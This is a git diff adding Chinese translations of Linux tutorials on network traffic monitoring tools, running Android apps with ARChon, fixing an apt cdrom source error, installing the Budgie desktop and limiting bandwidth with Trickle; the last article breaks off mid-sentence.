工具集里的一部分,它也显示当前主机和其他远程主机的连接情况,以及在每个连接中数据传输的速率。 + +我们可以使用 yum 在 fedora 中安装 Netwatch,因为它在 fedora 的默认软件仓库中。但若你运行着 CentOS 或 RHEL , 我们需要安装 [rpmforge 软件仓库][3]。 + + # yum install netwatch + +Netwatch 是 netdiag 的一部分,可以在默认的软件仓库中找到,所以我们可以轻松地使用下面的命令来利用 **apt** 包管理器安装 **netdiag**: + + $ sudo apt-get install netdiag + +为了运行 netwatch, 我们需要在虚拟终端或 shell 中执行下面的命令: + + $ sudo netwatch -e wlan2 -nt + +![Netwatch](http://blog.linoxide.com/wp-content/uploads/2015/02/netwatch.png) + +注意: 请将上面的 wlan2 替换为你想使用的网络接口名称,假如你想通过扫描了解你的网络接口名称,可以在一个虚拟终端或 shell 中运行 `ip link show` 命令。 + +### 14) Trafshow ### + +Trafshow 同 netwatch 和 pktstat 一样,可以报告当前活动的连接里使用的协议和每个连接中数据传输的速率。它可以使用 pcap 类型的过滤器来筛选出特定的连接。 + +我们可以使用 yum 在 fedora 中安装 trafshow ,因为它在 fedora 的默认软件仓库中。但若你正运行着 CentOS 或 RHEL , 我们需要安装 [rpmforge 软件仓库][4]。 + + # yum install trafshow + +Trafshow 在默认仓库中可以找到,所以我们可以轻松地使用下面的命令来利用 **apt** 包管理器安装它: + + $ sudo apt-get install trafshow + +为了使用 trafshow 来执行监控任务,我们需要在虚拟终端或 shell 中执行下面的命令: + + $ sudo trafshow -i wlan2 + +![Trafshow](http://blog.linoxide.com/wp-content/uploads/2015/02/trafshow-all.png) + +为了专门监控 tcp 连接,如下面一样添加上 tcp 参数: + + $ sudo trafshow -i wlan2 tcp + +![Trafshow tcp](http://blog.linoxide.com/wp-content/uploads/2015/02/trafshow-tcp.png) + +注意: 请将上面的 wlan2 替换为你想使用的网络接口名称,假如你想通过扫描了解你的网络接口名称,可以在一个虚拟终端或 shell 中运行 `ip link show` 命令。 + +### 15) Vnstat ### + +与大多数的其他工具相比,Vnstat 有一点不同。实际上它运行着一个后台服务或守护进程,并时刻记录着传输数据的大小。另外,它可以被用来生成一个网络使用历史记录的报告。 + +我们需要开启 EPEL 软件仓库,然后运行 **yum** 包管理器来安装 vnstat。 + + # yum install vnstat + +Vnstat 在默认软件仓库中可以找到,所以我们可以使用下面的命令运行 **apt** 包管理器来安装它: + + $ sudo apt-get install vnstat + +不带有任何选项运行 vnstat 将简单地展示出从该守护进程运行后数据传输的总量。 + + $ vnstat + +![vnstat](http://blog.linoxide.com/wp-content/uploads/2015/02/vnstat.png) + +为了实时地监控带宽使用情况,使用 ‘-l’ 选项(live 模式)。然后它将以一种非常精确的方式来展示上行和下行数据所使用的带宽总量,但不会显示任何有关主机连接或进程的内部细节。 + + $ vnstat -l + +![Vnstat 实时模式](http://blog.linoxide.com/wp-content/uploads/2015/02/vnstat-live.png) + +完成了上面的步骤后,按 Ctrl-C 来停止,这将会得到如下类型的输出: + +![Vnstat 实时结果](http://blog.linoxide.com/wp-content/uploads/2015/02/vnstat-live-result.png) + +### 16) tcptrack ### + +[tcptrack][5] 可以展示 TCP 连接的状态,它在一个给定的网络端口上进行监听。tcptrack 监控它们的状态并展示出排序且不断更新的列表,包括来源/目标地址、带宽使用情况等信息,这与 **top** 命令的输出非常类似 。 + +鉴于 tcptrack 在软件仓库中,我们可以轻松地在 Debian、Ubuntu 系统中从软件仓库使用 **apt** 包管理器来安装 tcptrack。为此,我们需要在 shell 或虚拟终端中执行下面的命令: + + $ sudo apt-get install tcptrack + +我们可以通过 yum 在 fedora 中安装它,因为它在 fedora 的默认软件仓库中。但若你运行着 CentOS 或 RHEL 系统,我们需要安装 [rpmforge 软件仓库][6]。为此,我们需要运行下面的命令: + + # wget http://apt.sw.be/redhat/el6/en/x86_64/rpmforge/RPMS/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm + + # rpm -Uvh rpmforge-release*rpm + + # yum install tcptrack + +注:这里我们下载了 rpmforge-release 的当前最新版本,即 0.5.3-1,你总是可以从 rpmforge 软件仓库中下载其最新版本,并请在上面的命令中替换为你下载的版本。 + +**tcptrack** 需要以 root 权限或超级用户身份来运行。执行 tcptrack 时,我们需要带上要监视的网络接口 TCP 连接状况的接口名称。这里我们的接口名称为 wlan2,所以如下面这样使用: + + sudo tcptrack -i wlan2 + +![tcptrack](http://blog.linoxide.com/wp-content/uploads/2015/02/tcptrack.png) + +假如你想监控特定的端口,则使用: + + # tcptrack -i wlan2 port 80 + +![tcptrack port 80](http://blog.linoxide.com/wp-content/uploads/2015/02/tcptrack-port-80.png) + +请替换上面的 80 为你想要监控的端口号。注意: 请将上面的 wlan2 替换为你想使用的网络接口名称,假如你想通过扫描了解你的网络接口名称,可以在一个虚拟终端或 shell 中运行 `ip link show` 命令。 + +### 17) CBM ### + +CBM ( Color Bandwidth Meter) 可以展示出当前所有网络设备的流量使用情况。这个程序是如此的简单,以至于都可以从它的名称中看出其功能。CBM 的源代码和新版本可以在 [http://www.isotton.com/utils/cbm/][7] 上找到。 + +鉴于 CBM 已经包含在软件仓库中,我们可以简单地使用 **apt** 包管理器从 Debian、Ubuntu 的软件仓库中安装 CBM。为此,我们需要在一个 shell 窗口或虚拟终端中运行下面的命令: + + $ sudo apt-get install cbm + +我们只需使用下面展示的命令来在 shell 窗口或虚拟终端中运行 cbm: + + $ cbm + +![Color Bandwidth Meter](http://blog.linoxide.com/wp-content/uploads/2015/02/cbm.png) + +### 18) bmon ### + +[Bmon][8] ( Bandwidth Monitoring) ,是一个用于调试和实时监控带宽的工具。这个工具能够检索各种输入模块的统计数据。它提供了多种输出方式,包括一个基于 curses 库的界面,轻量级的HTML输出,以及 ASCII 输出格式。 + +bmon 可以在软件仓库中找到,所以我们可以通过使用 apt 包管理器来在 Debian、Ubuntu 中安装它。为此,我们需要在一个 shell 窗口或虚拟终端中运行下面的命令: + + $ sudo apt-get install bmon + +我们可以使用下面的命令来运行 bmon 以监视我们的网络状态: + + $ bmon + +![bmon](http://blog.linoxide.com/wp-content/uploads/2015/02/bmon.png) + +### 19) tcpdump ### + +[TCPDump][9] 是一个用于网络监控和数据获取的工具。它可以为我们节省很多的时间,并可用来调试网络或服务器的相关问题。它可以打印出在某个网络接口上与布尔表达式相匹配的数据包所包含的内容的一个描述。 + +tcpdump 可以在 Debian、Ubuntu 的默认软件仓库中找到,我们可以简单地以 sudo 权限使用 apt 包管理器来安装它。为此,我们需要在一个 shell 窗口或虚拟终端中运行下面的命令: + + $ sudo apt -get install tcpdump + +tcpdump 也可以在 Fedora、CentOS、RHEL 的软件仓库中找到。我们可以像下面一样通过 yum 包管理器来安装它: + + # yum install tcpdump + +tcpdump 需要以 root 权限或超级用户来运行,我们需要带上我们想要监控的 TCP 连接的网络接口名称来执行 tcpdump 。在这里,我们有 wlan2 这个网络接口,所以可以像下面这样使用: + + $ sudo tcpdump -i wlan2 + +![tcpdump](http://blog.linoxide.com/wp-content/uploads/2015/02/tcpdump.png) + +假如你只想监视一个特定的端口,则可以运行下面的命令。下面是一个针对 80 端口(网络服务器)的例子: + + $ sudo tcpdump -i wlan2 'port 80' + +![tcpdump port](http://blog.linoxide.com/wp-content/uploads/2015/02/tcpdump-port.png) + +### 20) ntopng ### + +[ntopng][20] 是 ntop 的下一代版本。它是一个用于展示网络使用情况的网络探头,在一定程度上它与 top 针对进程所做的工作类似。ntopng 基于 libpcap 并且它以可移植的方式被重写,以达到可以在每一个 Unix 平台 、 MacOSX 以及 Win32 上运行的目的。 + +为了在 Debian,Ubuntu 系统上安装 ntopng,首先我们需要安装 **编译 ntopng 所需的依赖软件包**。你可以通过在一个 shell 窗口或一个虚拟终端中运行下面的命令来安装它们: + + $ sudo apt-get install libpcap-dev libglib2.0-dev libgeoip-dev redis-server wget libxml2-dev build-essential checkinstall + +现在,我们需要像下面一样针对我们的系统手动编译 ntopng : + + $ sudo wget http://sourceforge.net/projects/ntop/files/ntopng/ntopng-1.1_6932.tgz/download + $ sudo tar zxfv ntopng-1.1_6932.tgz + $ sudo cd ntopng-1.1_6932 + $ sudo ./configure + $ sudo make + $ sudo make install + +这样,在你的 Debian 或 Ubuntu 系统上应该已经安装上了你编译的 ntopng 。 + +我们已经有了有关 ntopng 的使用方法的[教程](linoxide.com/monitoring-2/ntopng-network-monitoring-tool/),它既可以在命令行也可以在 Web 界面中使用,我们可以前往这些教程来获得有关 ntopng 的知识。 + +### 结论 ### + +在这篇文章中,我们介绍了一些在 Linux 下的网络负载监控工具,这对于系统管理员甚至是新手来说,都是很有帮助的。在这篇文章中介绍的每一个工具都具有其特点,不同的选项等,但最终它们都可以帮助你来监控你的网络流量。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/monitoring-2/network-monitoring-tools-linux/ + +作者:[Bobbin Zachariah][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bobbin/ +[1]:http://pkgs.org/centos-7/repoforge-x86_64/netwatch-1.0c-1.el7.rf.x86_64.rpm.html +[2]:http://iptraf.seul.org/ +[3]:http://pkgs.org/centos-7/repoforge-x86_64/netwatch-1.0c-1.el7.rf.x86_64.rpm.html +[4]:http://pkgs.org/centos-6/epel-x86_64/trafshow-5.2.3-6.el6.x86_64.rpm.html +[5]:http://linux.die.net/man/1/tcptrack +[6]:http://pkgs.org/centos-6/repoforge-x86_64/tcptrack-1.4.0-1.el6.rf.x86_64.rpm.html +[7]:http://www.isotton.com/utils/cbm/ +[8]:https://github.com/tgraf/bmon/ +[9]:http://www.tcpdump.org/ +[10]:http://www.ntop.org/ \ No newline at end of file diff --git a/published/201505/20150227 Enjoy Android Apps on Ubuntu using ARChon Runtime.md b/published/201505/20150227 Enjoy Android Apps on Ubuntu using ARChon Runtime.md new file mode 100644 index 0000000000..4776f5c10d --- /dev/null +++ b/published/201505/20150227 Enjoy Android Apps on Ubuntu using ARChon Runtime.md @@ -0,0 +1,115 @@ +使用 ARChon 运行时环境在 Ubuntu 上运行 Android 应用 +================================================================================ + +在此之前,我们尝试过在多款安卓应用模拟器工具上运行安卓应用,比如Genymotion、VirtualBox和Android SDK等。但是,有了这套全新的Chrome安卓运行环境,就可以在Chrome浏览器中运行安卓应用了。所以,下面是一些步骤来指导你如何使用ARChon运行时环境在Ubuntu上安装安卓应用。 + +谷歌已经公布了[首批支持原生运行在Chrome OS的安卓应用][1],而这个全新的“**安卓运行时环境**”扩展程序使其成为可能。如今,一位名为Vlad Filippov的开发者已经找到了一种把安卓应用移植到桌面端Chrome浏览器的方法。他把chromeos-apk脚本和ARChon安卓运行环境扩展程序两者紧密结合在一起,使得安卓应用可以运行在Windows、Max和Linux系统的桌面端Chrome浏览器中。 + +应用借助这种运行环境时的性能并不是很好。同样,由于它是官方运行环境的非官方二次开发包,而且运行在Google的Chrome OS之外,因此一些如摄像头和喇叭等系统内置设备可能需要通过打补丁获得或者根本不支持。 + +### 安装Chrome ### + +首先,需要在机器上安装Chrome,版本要求是Chrome 37或者更高。可以从[Chrome浏览器的下载页面][2]下载。 + +如果打算安装开发通道版本,按照如下操作。 + +使用这个命令为Google Chrome添加软件源列表: + + $ wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - + $ sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list' + +![Adding google source list](http://blog.linoxide.com/wp-content/uploads/2015/02/adding-google-source-list.png) + +添加完软件源列表后,使用下列命令更新本地的软件库索引。 + + $ sudo apt-get update + +现在,就可以安装非稳定版的google chrome,即开发版: + + $ sudo apt-get install google-chrome-unstable + +![Installing Google chrome unstable](http://blog.linoxide.com/wp-content/uploads/2015/02/installing-google-chrome-unstable.png) + +### 安装Archon运行时环境 ### + +接下来,需要下载定制版的运行环境安装包,因为官方版本不被Google或Vlad Filippov创建的Chromium安卓运行环境认可。它在很多方面有别于官方版本,主要区别是它可以用于Google浏览器的各个桌面端。下面是需要下载的运行环境安装包,请根据所安装的Ubuntu系统位数选择下列的一种。 + +**32位** Ubntu发行版: + +- [下载 32 位版 Ubuntu 上的 Archron][3] + +**64位** Ubntu发行版: + +- [下载 64 位版 Ubuntu 上的 Archron][4] + +下载好运行环境安装包后,从.zip文件中解压,并将解压得到的目录移动到Home目录。操作命令如下: + + $ wget https://github.com/vladikoff/chromeos-apk/releases/download/v3.0.0/ARChon-v1.1-x86_32.zip + +![Downloading ARChon](http://blog.linoxide.com/wp-content/uploads/2015/02/download-archon.png) + + $ unzip ARChon-v1.1-x86_32.zip ~/ + +接下来是安装运行时环境,首先打开Google Chrome浏览器,在地址栏键入**chrome://extensions**。然后,选中“**开发者模式**”。最后,点击“**载入未打包扩展程序**”,选择刚才放置在**~/Home**下面的文件夹。 + +### 安装 ChromeOS-APK ### + +如果要用到上面提到的那些应用,那么手动转换这些APK无需复杂的操作——只需要安装“[chromeos-apk][5]”命令行JavaScript工具。可以在Node Package Modules(npm)管理器中安装它。为了安装npm和chromeos-apk,在shell或终端中运行下面命令: + + $ sudo apt-get install npm nodejs nodejs-legacy + +如果**操作系统是64位**,需要安装下面这个库,命令如下: + + $ sudo apt-get install lib32stdc++6 + +然后,运行这条命令来安装最新的chromeos-apk: + + $ npm install -g chromeos-apk@latest + +![chromeos apk installation](http://blog.linoxide.com/wp-content/uploads/2015/02/chomeos-apk-installation.png) + +取决于系统配置,可能需要以sudo权限运行后一条命令。 + +现在,我们将找一个应用程序的APK来在Google浏览器上试一试,但务必牢记**并非所有的安卓应用都可以**,有一些可能不稳定或者缺少某些特性。大部分安装即用的通讯类应用都不适用这个环境。 + +### 转换APK ### + +将**安卓APK放到~/Home**下,然后在**终端**执行下列命令进行转换: + + $ chromeos-apk myapp.apk --archon + +如果想以全屏模式运行应用,请替换成这条命令: + + $ chromeos-apk myapp.apk --archon --tablet + +注意:请将myapp.apk替换成待转换的安卓APK应用的文件名。 + +为了方便,也可以使用[Twerk][6]来进行转换,这样可以跳过这一步。 + +### 运行安卓Apk ### + +最后,打开chrome浏览器,然后进入chrome://extensions页面,勾选开发者模式。点击“载入未打包扩展程序”按钮,选择上面脚本刚创建的文件夹。 + +至此,就可以打开Chrome应用启动器运行安卓应用了。 + +### 总结 ### + +万岁!我们已经成功在Chrome浏览器中安装好安卓Apk应用程序了。这篇文章是关于一款由Vlad Filippov开发的、名为Archon的、时下流行的Chrome安卓运行环境。这个运行环境使用户在Chrome浏览器中运行转换过的Apk文件。目前它还不支持通讯类应用,诸如Whatsapp。因此,如果你有任何问题、建议和反馈,请在下面的评论框中写出来。非常感谢!去拥抱Archon吧!:-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/android-apps-ubuntu-archon-runtime/ + +作者:[Arun Pyasi][a] +译者:[KayGuoWhu](https://github.com/KayGuoWhu) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:http://chrome.blogspot.com/2014/09/first-set-of-android-apps-coming-to.html +[2]:https://www.google.com/chrome/browser +[3]:https://github.com/vladikoff/chromeos-apk/releases/download/v3.0.0/ARChon-v1.1-x86_32.zip +[4]:https://github.com/vladikoff/chromeos-apk/releases/download/v3.0.0/ARChon-v1.1-x86_64.zip +[5]:https://github.com/vladikoff/chromeos-apk/blob/master/README.md +[6]:https://chrome.google.com/webstore/detail/twerk/jhdnjmjhmfihbfjdgmnappnoaehnhiaf \ No newline at end of file diff --git a/published/201505/20150227 How To Fix--Failed to fetch cdrom apt-get update cannot be used to add new CD-ROMs.md b/published/201505/20150227 How To Fix--Failed to fetch cdrom apt-get update cannot be used to add new CD-ROMs.md new file mode 100644 index 0000000000..e6ced67ef0 --- /dev/null +++ b/published/201505/20150227 How To Fix--Failed to fetch cdrom apt-get update cannot be used to add new CD-ROMs.md @@ -0,0 +1,72 @@ +如何修复 apt-get update 无法添加新的 CD-ROM 的错误 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/12/elementary_OS_Freya.jpg) + +这些天我正在体验Elementary OS Freya,在这期间,我遇到了一个非常常见的更新错误:**Failed to fetch cdrom Please use apt-cdrom to make this CD-ROM recognized by APT. apt-get update cannot be used to add new CD-ROMs**。完整的错误在运行apt-get update后看上去像这样: + +> W: Failed to fetch cdrom://elementary OS 0.3 _Freya_ – Daily amd64 (20150208)/dists/trusty/main/binary-amd64/Packages Please use apt-cdrom to make this CD-ROM recognized by APT. apt-get update cannot be used to add new CD-ROMs +> +> W: Failed to fetch cdrom://elementary OS 0.3 _Freya_ – Daily amd64 (20150208)/dists/trusty/restricted/binary-amd64/Packages Please use apt-cdrom to make this CD-ROM recognized by APT. apt-get update cannot be used to add new CD-ROMs +> +> E: Some index files failed to download. They have been ignored, or old ones used instead. + +本篇中,我们会了解如何修复这个错误。 + +### 修复apt-get update无法添加新的CD-ROM的错误 ### + +这个错误的原因是cdrom已经被包含在源之中。要修复这个问题,我们需要将它从软件源中移除。 + +在Ubuntu中,找到“软件与更新”: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Software_Update_Ubuntu.jpeg) + +在Ubuntu Software的第一个标签中,找到cdrom,如果它是勾选的,那么取消勾选。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/CDROM_Error_Update_Software_Sources.jpeg) + +关闭软件源并再次运行更新。现在应该可以用了。 + +### 进一步故障排除: ### + +上面描述的方法已经修复了这个**apt-get update cannot be used to add new CD-ROMs**错误。但是这个方法对我无效,因为cdrom的选项这时是灰色的,因为我使用的live版本。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/CDROM_Update_Error.png) + +现在要修复我们的问题了,我们是要采用命令行路线。打开终端并查看软件源中包含了哪些源: + + cat /etc/apt/sources.list + +我的输出是下面这样: + + deb cdrom:[elementary OS 0.3 _Freya_ – Daily amd64 (20150208)]/ trusty main restricted + deb http://archive.ubuntu.com/ubuntu/ trusty main restricted universe multiverse + deb-src http://archive.ubuntu.com/ubuntu/ trusty main restricted universe multiverse + deb http://security.ubuntu.com/ubuntu/ trusty-security main restricted universe multiverse + deb-src http://security.ubuntu.com/ubuntu/ trusty-security main restricted universe multiverse + deb http://archive.ubuntu.com/ubuntu/ trusty-updates main restricted universe multiverse + deb-src http://archive.ubuntu.com/ubuntu/ trusty-updates main restricted universe multiverse + +在上面的第一行中。它包含了cdrom。我们需要用‘#’来注释掉这行: + + #deb cdrom:[elementary OS 0.3 _Freya_ – Daily amd64 (20150208)]/ trusty main restricted + +要用下面的命令来: + + sudo gedit /etc/apt/sources.list + +在你编辑完软件源后,再次运行apt-get update。“apt-get update cannot be used to add new CD-ROMs”这个错误应该已经修复了。如果你还遇到其他的问题,看一下这篇收集了大部分[Ubuntu常见更新错误修复][1]的文章。 + +我希望这篇教程对你有用。如果你还有其他的问题和建议,请在下面留言。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/fix-failed-fetch-cdrom-aptget-update-add-cdroms/ + +作者:[Abhishek][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/fix-update-errors-ubuntu-1404/ diff --git a/published/201505/20150227 How to Install Lightweight Budgie v8 Desktop in Ubuntu 14.04.md b/published/201505/20150227 How to Install Lightweight Budgie v8 Desktop in Ubuntu 14.04.md new file mode 100644 index 0000000000..ccaff360e5 --- /dev/null +++ b/published/201505/20150227 How to Install Lightweight Budgie v8 Desktop in Ubuntu 14.04.md @@ -0,0 +1,96 @@ +如何在ubuntu14.04上安装轻量级的Budgie桌面(v8) +================================================================================ +Budgie是为Linux发行版定制的旗舰桌面,也是一个定制工程。为思想前卫的用户设计,致力于简单和简洁。它的一个巨大优势是它不是别的项目的fork版本,是从都到尾都独立的。 + +[Budgie桌面][1]与GNOME栈紧密结合,使用先进的技术从而提供一个可选择的桌面体验。出于开源理念,这个桌面之后也能在别的Linux发行版中看到。 + +现在Budgie能够通过面板的设置达到和GNOME2桌面相似的使用体验。 + +### 0.8版的特点 ### + +- 任务栏:支持应用锁定到任务栏 +- 任务栏:使用.desktop文件来配置quicklists菜单 +- 任务栏:使用.desktop文件来配置图标分辨率 +- 任务栏:支持有通知时蓝色闪烁 +- 面板:支持默认深色主体 +- 添加菜单条的小组件 +- 面板:自动隐藏菜单条和工具条(这配置为手动) +- 面板:支持屏幕边缘处阴影 +- 面板:动态支持gnome面板主题 +- 运行对话框:虚拟刷新 +- Budgie菜单: 增加紧凑模式,并默认采用 +- Budgie菜单: 按照使用顺序排列菜单项 +- Budgie菜单: 移除旧的电源选项 +- 编辑器: 在UI中增加所有的菜单选项 +- 支持从GNOME 3.10 升级到3.16 +- wm: 关闭工作区的动画(v8之后) +- wm: 改变壁纸时更好的动画 + +### 重要信息 ### + +- Budgie [0.8版发行版][2]目前只是beta +- 无本地网络管理;可以通过使用ubuntu的小组件解决 +- Budgie 是为Evolve OS设计的,因此这个PPA可能会有bug +- GNOME 主题比Ubuntu本地的主题效果更好 +- Ubuntu的滚动栏将不在工作 +- 如果你想了解的更多可以访问Evolve OS网站 + +### 安装 ### + +现在,我们将在Ubuntu14.04 LTS中安装我们自己的轻量级Budgie桌面。首先,我们要把PPA源添加到我们的Ubuntu中。执行以下命令: + + $ sudo add-apt-repository ppa:evolve-os/ppa + +![添加Budgie的ppa源](http://blog.linoxide.com/wp-content/uploads/2015/01/budgie-desktop-ppa.png) + +添加完ppa之后,运行下面的命令更新本地软件仓库。 + + $ sudo apt-get update + +然后只要执行下面的命令安装 + + $ sudo apt-get install budgie-desktop + +![安装 Budgie Desktop](http://blog.linoxide.com/wp-content/uploads/2015/02/install-budgie-desktop.png) + +**注意** + +这是一个活跃的开发版本,一些主要的功能可能还不是特别的完善,如:没有网络管理器,没有音量控制组件(可以使用键盘控制),无通知系统并且无法将app锁定到任务栏。 + +有一个临时解决方案可以禁用叠加滚动栏:设置另外一个默认主题,然后从终端退出当前会话: + + $ gnome-session-quit + +![退出 Gnome 会话](http://blog.linoxide.com/wp-content/uploads/2015/02/gnome-seesion-quit.png) + +### 登录Budgie会话 ### + +安装完成之后,我们能在登录时选择进入budgie桌面。 + +![选择桌面会话](http://blog.linoxide.com/wp-content/uploads/2015/02/session-select.png) + +### Budgie 桌面环境 ### + +![Budgie 桌面环境](http://blog.linoxide.com/wp-content/uploads/2015/02/budgie-desktop.png) + +### 注销当前用户 ### + + $ budgie-sessioon --logout + +### 结论 ### + +嗨,现在我们已经成功的在 Ubuntu 14.04 LTS 上安装了轻量级 Budgie 桌面环境。Budgie桌面当前正在开发过程中,因此有目前有很多功能的缺失。虽然它是基于Gnome 的 GTK3,但不是完全的复制。Budgie是完全从零开始实现,它的设计是优雅的并且正在不断的完善。如果你有任何问题、评论,请在下面的评论框发表。愿你喜欢 Budgie 桌面 0.8 。 + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/ubuntu-how-to/install-lightweight-budgie-v8-desktop-ubuntu/ + +作者:[Arun Pyasi][a] +译者:[johnhoow](https://github.com/johnhoow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ +[1]:https://evolve-os.com/budgie/ +[2]:https://evolve-os.com/2014/11/16/courageous-budgie-v8-released/ diff --git a/published/201505/20150302 How to Limit the Network Bandwidth Used by Applications in a Linux System with Trickle.md b/published/201505/20150302 How to Limit the Network Bandwidth Used by Applications in a Linux System with Trickle.md new file mode 100644 index 0000000000..ee64fab44a --- /dev/null +++ b/published/201505/20150302 How to Limit the Network Bandwidth Used by Applications in a Linux System with Trickle.md @@ -0,0 +1,300 @@ +指南:使用Trickle限制应用程序带宽占用 +================================================================================ + +有没有遇到过系统中的某个应用程序独占了你所有的网络带宽的情形?如果你有过这样的遭遇,那么你就会感受到Trickle这种带宽调整应用的价值。不管你是一个系统管理员还只是普通Linux用户,都需要学习如何控制应用程序的上下行速度,来确保你的网络带宽不会被某个程序霸占。 + +![Install Trickle Bandwidth Limit in Linux](http://www.tecmint.com/wp-content/uploads/2013/11/Bandwidth-limit-trickle.png) + +*在 Linux 上安装 Trickle 带宽限制* + +### 什么是 Trickle? ### + +Trickle是一个网络带宽调整工具,可以让我们管理应用程序的网络上下行速度,使得可以避免其中的某个应用程序霸占了全部或大部分可用的带宽。换句话说,Trickle可以让你基于单个应用程序来控制网络流量速率,而不是仅仅针对与单个用户——这是在客户端网络环境中经典的带宽调整情况。 + +### Trickle 是如何工作的?### + +另外,trickle 可以帮助我们基于应用来定义优先级,所以当对整个系统进行了全局限制设定,高优先级的应用依然会自动地获取更多的带宽。为了实现这个目标,trickle 对 TCP 连接上的套接字的数据发送、接收设置流量限制。我们必须注意到,除了影响传输速率之外,在这个过程中,trickle任何时候都不会以任何方式来改变其中的数据。 + +### Trickle不能做什么? ### + +这么说吧,唯一的限制就是,trickle不支持静态链接的应用程序或者具有SUID或SGID位设置的二进制程序,因为它使用动态链接的方式将其载入到需要调整的进程和其关联的网络套接字之间。 Trickle此时会在这两种软件组件之间扮演代理的角色。 + +由于trickle并不需要超级用户的权限来运行,所以用户可以设置他们自己的流量限制。可能这并不是你想要的,我们会探索如何使用全局设定来限制系统中的所有用户的流量限制。也即是说,此时系统中的每个用户具有管理各自的流量速率,但是无论如何,都会受到系统管理员给他们设置的总体限制。 + +在这篇文章中,我们会描述如何通过trickle在linux平台上管理应用程序使用的网络带宽。为了生成所需的流量,在此会在客户端(CentOS 7 server – dev1: 192.168.0.17)上使用 ncftpput 和 ncftpget, 在服务器(Debian Wheezy 7.5 – dev2: 192.168.0.15)上使用vsftpd 来进行演示。 相同的指令也可以在RedHat,Fedora和Ubuntu等系统使用。 + +#### 前提条件 #### + +1. 对于 RHEL/CentOS 7/6, [开启EPEL仓库][1]。这些用于企业版 Linux 的额外软件包是一个由Fedora项目维护的高质量、开源的软件仓库,而且百分之百与其衍生产品相兼容,如企业版本Linux和CentOS。 在这个仓库中trickle和ncftp两者都是可用的。 + +2. 按照如下方式安装ncftp: + + # yum update && sudo yum install ncftp [基于 RedHat 的系统] + # aptitude update && aptitude install ncftp [基于 Debian 的系统] + +3. 在单独的服务器上设置一个FTP服务器。需要注意的是,尽管FTP天生就不安全,但是仍然被广泛应用在安全性无关紧要的文件上传下载中。 在这篇文章中我们使用它来演示trickle的优点,同时它也会在客户端的标准输出流中显示传输速率。我们将是否在其它时间使用它放在一边讨论。 + + # yum update && yum install vsftpd [基于 RedHat 的系统] + # aptitude update && aptitude install vsftpd [基于 Debian 的系统] + + 现在,在FTP服务器上按照以下方式编辑 /etc/vsftpd/vsftpd.conf 文件。 + + anonymous_enable=NO + local_enable=YES + chroot_local_user=YES + allow_writeable_chroot=YES + + 在此之后,确保在你的当前会话中启动了vsftpd,并在之后的启动中让其自动启动。 + + # systemctl start vsftpd [基于 systemd 的系统] + # systemctl enable vsftpd + # service vsftpd start [基于 init 的系统] + # chkconfig vsftpd on + +4. 如果你选择在一个使用 SSH 密钥进行远程访问的 CentOS/RHEL 7中搭建FTP服务器,你需要一个密码受保护的用户账户,它能访问**root目录之外**的某个目录,并有能在其中上传和下载文件的权限。 + + 你可以通过在你的浏览器中输入以下的URL来浏览你的家目录。一个登录窗口会弹出来提示你输入FTP服务器中的有效的用户名和密码。 + + ftp://192.168.0.15 + + 如果验证成功,你就会看到你的家目录中的内容。该教程的稍后部分中,你将可以刷新页面来显示在你之前上传过的文件。 + + ![FTP Directory Tree](http://www.tecmint.com/wp-content/uploads/2013/11/FTP-Directory-Tree.png) + + *FTP 目录树* + +### 如何在Linux中安装 trickle ### + +1. 通过yum或aptitude来安装trickle. + + 为了确保能够成功安装,最好在安装工具之前,保证当前的安装包是最新的版本。 + + + # yum -y update && yum install trickle [基于 RedHat 的系统] + # aptitude -y update && aptitude install trickle [基于 Debian 的系统] + +2. 确认trickle是否对特定的二进制包有用。 + + 之前我们解释过,trickle只对使用动态或共享的库的二进制包有用。为了确认我们是否可以对某个特定的应用使用trickle,我们可以使用著名的ldd(列出动态依赖)工具。 特别地,我们会查看任何给定程序的动态依赖中其当前使用的glibc,因为其准确地定义了通过套接字通讯所使用的系统调用。 + + 对一个给定的二进制包执行以下命令来查看是否能对其使用trickle进行带宽调整: + + # ldd $(which [binary]) | grep libc.so + + 例如, + + # ldd $(which ncftp) | grep libc.so + + 其输出是: + + # libc.so.6 => /lib64/libc.so.6 (0x00007efff2e6c000) + + 输出中的括号中的字符可能在不同的系统平台有所不同,甚至相同的命令在不同的时候运行也会不同,因为其代表包加载到物理内存中的地址。 + + 如果上面的命令没有返回任何的结果,就说明这个二进制包没有使用libc包,因此trickle对其不能起到带宽调整的作用。 + +### 学习如何使用Trickle### + +最基本的用法就是使用其独立模式,通过这种方式,trickle用来显式地定义给定应用程序的上传下载速率。如前所述,为了简单,我们会使用相同的应用来进行上传下载测试。 + +#### 在独立模式下运行trickle#### + +我们会比较在有无trickle的情况下的上传下载速率, ‘-d’选项指示下载速率(KB/s单位),而'-u'选项指示相同单位的上传速率。另外我们会使用到‘-s’选项来指定trickle应该以独立模式运行。 + +以独立模式运行trickle的基本语法如下: + + # trickle -s -d [下载速率,KB/s] -u 